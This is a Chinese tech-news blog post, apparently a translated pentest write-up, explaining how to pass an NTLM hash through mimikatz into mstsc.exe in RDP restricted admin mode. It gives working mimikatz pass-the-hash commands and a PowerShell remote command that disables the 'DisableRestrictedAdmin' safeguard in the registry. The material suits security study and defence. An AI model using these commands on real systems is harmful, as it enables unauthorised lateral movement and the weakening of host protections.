欢迎光临
我们一直在努力

使用原生RDP客户端MSTSC.EXE传递hash

TL; DR:如果远程服务器允许受限管理员登录,则可以通过使用本地Windows RDP客户端传递哈希来通过RDP登录mstsc.exe。(您需要使用mimikatz或其他方法将散列注入进程)

在参与方面,通过NTLM哈希通常只是时间问题。这些通常可以直接用于对其他服务/机器进行身份验证,并支持横向移动。Powershell / PSExec,SMB和WMI是传递散列的通常目标,但也可以使用它在远程主机上建立RDP会话。不幸的是,在互联网上搜索如何做到这一点总是会导致使用xfreerdp,但我无法在互联网上找到任何有关如何直接使用提供的RDP客户端来完成此操作的任何信息mstsc.exe,因此我必须自行找出问题。

它是如何工作的?

有趣的是,这很容易找到,所以这里是如何做到这一点mimikatz(你需要本地管理员):

sekurlsa::pth /user:<user name> /domain:<domain name> /ntlm:<the user’s ntlm hash> /run:”mstsc.exe /restrictedadmin”

这将打开一个新的RDP窗口。如果它仍然显示你当前登录的用户,就忽略它 – 一切都会正常工作;-)

输入目标服务器的域名/ IP,如果目标服务器允许受限管理模式,则将登录,否则服务器将告诉您不允许登录。

它为什么有效?

RDP受限管理模式建立在Kerberos之上。看看网络流量,可以看到RDP客户端代表模拟用户请求票证,这是没有问题的,因为散列是我们需要对Kerberos进行身份验证所需的全部内容。

受限管理模式已禁用,我该怎么办?

一个注册表项控制服务器是否接受限制管理员的会话。如果您拥有有权设置注册表项的用户的NTLM散列,则可以使用例如Powershell启用它,然后通过RDP登录:

mimikatz.exe “sekurlsa::pth /user:<user name> /domain:<domain name> /ntlm:<the user’s ntlm hash> /run:powershell.exe”

弹出一个新的Powershell窗口:

Enter-PSSession -Computer <Target>
New-ItemProperty -Path “HKLM:\System\CurrentControlSet\Control\Lsa” -Name “DisableRestrictedAdmin” -Value “0” -PropertyType DWORD -Force

现在,你的RDP应该可以正常工作。

赞(0) 打赏
未经允许不得转载:IT新闻网 » 使用原生RDP客户端MSTSC.EXE传递hash
分享到: 更多 (0)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏